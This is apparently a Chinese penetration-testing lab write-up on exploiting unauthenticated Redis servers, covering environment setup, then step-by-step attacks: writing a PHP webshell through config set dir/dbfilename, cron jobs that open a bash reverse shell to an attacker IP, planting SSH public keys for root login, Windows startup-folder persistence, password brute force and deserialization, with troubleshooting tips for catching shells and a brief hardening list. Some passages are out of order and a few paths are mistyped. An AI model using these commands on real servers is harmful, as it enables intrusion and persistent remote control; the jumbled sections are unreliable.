0X01redis介绍
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set()、zset(sorted set –有序)和hash(哈希类型)。 redis很大程度补偿了memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。 redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。 默认端口:6379
0X02 漏洞简介
Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。 redis未授权访问很容易导致挖矿事件 该漏洞的产生条件有以下两点: 1、redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网; 2、没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。
0X03 漏洞危害:
1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据; 2、攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件; 3、最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登陆受害服务器。
0X04环境搭建
分别搭建windows和linux的测试环境。 windows redis 安装
官方给出redis的windows版本最新为3.x。 windows下载地址: https://github.com/microsoftarchive/redis/releases 下载Redis-x64-3.2.100.zip解压到本地目录下。 修改配置文件redis.windows.conf ,开启远程访问,关闭保护模式。 修改bind 127.0.0.1为bind 0.0.0.0 修改protected-mode yes为protected-mode no 指定redis.windows.conf配置文件,启动redis服务
linux redis安装 wget http://download.redis.io/releases/redis-5.0.7.tar.gz 解压并安装Redis tar -zvxf redis-5.0.7.tar.gz 移动redis目录 mv /root/redis-5.0.7 /usr/local/redis 编译 cd到/usr/local/redis目录,输入命令make执行编译命令,接下来控制台会输出各种编译过程中输出的内容。 安装 make PREFIX=/usr/local/redis install 这里多了一个关键字 PREFIX= 这个关键字的作用是编译的时候用于指定程序存放的路径。比如我们现在就是指定了redis必须存放在/usr/local/redis目录。假设不添加该关键字Linux会将可执行文件存放在/usr/local/bin目录, 库文件会存放在/usr/local/lib目录。配置文件会存放在/usr/local/etc目录。其他的资源文件会存放在usr/local/share目录。这里指定号目录也方便后续的卸载,后续直接rm -rf /usr/local/redis 即可删除redis。 启动redis ./bin/redis-server& ./redis.conf 连接windows
redis默认情况下没有设置密码,在没有设置IP访问限制的情况下,可以通过redis写入文件进行相关利用。
0x05漏洞利用
写文件
写文件这个功能其实就是通过修改 redis 的 dbfilename、dir 配置项。 通常来说掌控了写文件也就完成了 rce 的一半。 这几种写文件来 getshell 的方式也是最有效最简单的。 写入webshell 适用范围:windows,linux版本。 利用条件: 1、目标存在web目录 2、已知web绝对路径 3、存在写入权限 利用过程: 利用redis写入一个webshell到目标web目录下。 config set dir “D:/phpstudy_pro/WWW” config set dbfilename info.php set x “\r\n\r\n<?php phpinfo();?>\r\n\r\n” save
计划任务反弹shell(只能centos时才可以)
centos 会无视产生的乱码 反弹shell 什么是反弹shell 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。 为什么要反弹shell? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。 举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢? 有如下情况: 1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 2.目标机器的ip动态改变,你不能持续控制。 3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。 4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。 那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。 攻击端监听一个端口 nc -lvp 9999 受害端生成一个反弹shell bash -i >& /dev/tcp/10.201.61.194/6767 0>&1 攻击端已获取到受害端的bash
解释 1.nc -lvp 9999 -l 监听,-v 输出交互或出错信息,-p 端口。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。 2. bash -i -i interactive。即产生一个交互式的shell(bash)。 3. /dev/tcp/IP/PORT 特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
使用范围:centos 利用条件: 1、权限可写计划任务 利用过程: 在权限足够的情况下,利用redis写入文件到计划任务目录下执行。 首先监听端口。
nc -lvp 9999 利用redis生成计划任务配置文件 config set dir /var/spool/cron set tide “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/9999 0>&1\n\n” config set dbfilename root save
写入公钥远程连接
使用范围:开启了密钥认证的linux主机 利用条件: 1、root权限 2、开启了ssh密钥登录,存在/etc/.ssh文件 利用过程: 当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。 1、首先在centos靶机上开启ssh密钥登录。 修改/etc/ssh/sshd_config配置文件。 Windows开机自启动目录 在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。 将以下语句写入此目录
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta 开机自动打开计算器
Redis 密码爆破
如果redis设置了密码验证 使用msf的auxiliary/scanner/redis/redis_login模块 设置爆破的目标地址,和字典文件,不建议使用默认字典文件。
目标主机必须开启了密钥登录才能利用。 ssh第一次连接时要加上 -o StrictHostKeyChecking=no,不然可能一直连不上。
ssh-keygen -t rsa 创建公钥
(echo -e “n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”)> /tmp/1.txt
cd /tmp/
cat 1.txt 生成了
cat /tmp/1.txt | redis-cli -h x.x.x.x -p 6379 -x set crakit 公钥上传到服务器
主要是利用redis未授权写🐎 和ssh密钥 ssh登录
redis-cli -h ip ip:6379> config set dir /root/.ssh config get dir config set dbfilename authorized_key save exit
ssh登录 ssh root@192.168.119.166 -i /.ssh/id-rsa
反序列化rce
当遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。 序列化数据类型分辨: jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如[“com.blue.bean.User”,xxx] fastjson:关注有没有 @type 字段 jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名 redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。 两个常见场景: 一、java 程序要将用户登录后的 session 对象序列化缓存起来,这种场景是最常见的。 二、程序员经常会把 redis 和 ORM 框架整合起来,一些频繁被查询的数据就会被序列化存储到 redis 里,在被查询时就会优先从 redis 里将对象反序列化一遍。 redis一般存储的都是 java 序列化对象,php、python 比较少见,比较多的是 fastjson 和 jackson 类型的序列化数据,jdk 原生的序列化数据。 因为要从 redis 反序列化对象,在对象类型非单一或少量的情况下程序员通常会选择开启 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通常可以进行利用。 fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通过篡改 redis 里面的反序列化数据,把恶意的序列化字节码存储进去,等到应用使用到它的时候就会反序列化触发漏洞。
redis Error: Connection reset by peer 解决
redis.conf中的 bind 127.0.0.1没有注释掉 保护模式没有关闭 启动要绑定 配置文件 不然配置文件不会生效
redis.conf是redis的配置文件 redis-cli CONFIG GET * 可以看所有内容 info 可以查看redis信息 ps | grep redis 查看redis pid kill redis 的pid 强制关闭redis
一直没有收到shell
检查受害端系统日志 tail -f /var/log/syslog
是有在执行计划的 报错会发送到邮件服务器里 查看/var/spool/mail
发现报错 /bin/sh : 1: Syntax error :Bad fd number 百度了一下,这条错误是因为/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh ls -al /bin/sh 看一下 /bin/sh 是个啥 sudo mv /bin/sh /bin/sh.orig sudo ln -s /bin/bash /bin/sh 替换shell环境为 bash
替换之后成功接收到shell
还有两种解决办法 1.将bash语句写在一个脚本里 计划执行这个脚本 2.*/1 * * * * bash -c “bash -i >&/dev/tcp/x.x.x.x/1234 0>&1” 使用这个直接在sh下用 bash -c
乱码导致错误 使用kali做为目标主机进行测试,需要写入计划任务到/var/spool/cron/crontabs目录下。 发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。 原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。
0x06总结
1.-> 这TM 到底是个什么东西? 因为配置不当导致redis服务可以被连接,攻击者可以控制redis执行 config 命令,或者获取目标服务器上redis缓存里的内容,通过控制写入的dir 和filename,实现往服务器任意位置写入任意文件。 2.-> “正常情况下” 它都被用在什么地方? 平时主要拿它来干啥? 或者说这个东西可以协助解决一些什么样的实际业务问题 ?
常见的利用方法是,向网站目录里写入webshell(是绝大部分挖矿事件的原因)。如果是centos系统,可以向crontabs(linux的计划任务文件,在/var/spool/cron里)实现计划任务反弹shell。windows系统,可以往windos的开机自启动目录里写入脚本。当然如果遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。 3.-> 它在"正常情况下", 具体是怎么运作的 ? 或者说其内部大致 实现原理 和 正常执行流程 是怎样的? Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。 4.-> 在实际渗透中我们到底能利用它来干些啥? 最终又能达到什么样的利用效果? 或者说它能帮我们避免或者解决一些什么样的实际渗透问题?
利用redis未授权,获得一个shell,最终可以用来命令执行。低版本redis还可以通过eval执行lua代码。如果是root权限可以写入ssh公钥,进行一个ssh的登录 5.-> 针对它所演化出来的具体利用场景都有哪些? 覆盖范围影响如何? 只要是对外开启了redis服务的都可以尝试。如果对内开启了redis且未授权,可以配合ssrf,利用gopher协议来写shell,用脚本生成payload,使用 curl运行payload,写入木马,获得webshell或者反弹shell。 6.-> 详细利用条件又是啥? 利用成功的限制条件是否苛刻? 对于自己现有的目标性质是否有继续深入研究的价值?
7.-> 实际利用中可能会存在什么样的风险? 能否提前规避这些风险? 怎么规避? 万一误操作是否还能及时补救? 如何补救?
8.-> 能否在其原有基础上进行针对性的改良利用,将其深度武器化而后直接付诸实战?
9.-> 能否通过这个又联想到一些其它的衍生利用场景? 或者因此萌生出了一些比较另类优秀的利用思路?
10.-> 仔细分析哪些情况下可能会直接导致利用失败? 当redis存在密码时,只能进行爆破,当redis权限不够时,写的文件可能不能自动执行。添加了防火墙规则避免其他非信任ip访问redis。 11.-> 如何从源头防御这种利用? 1.在配置文件中设置密码,以提供远程登录 2.修改默认端口 3.禁止redis拥有root权限 4.给redis配置文件中绑定你允许的ip才能访问 5.禁止一些高危命令,如 config ; flushall ; eval
|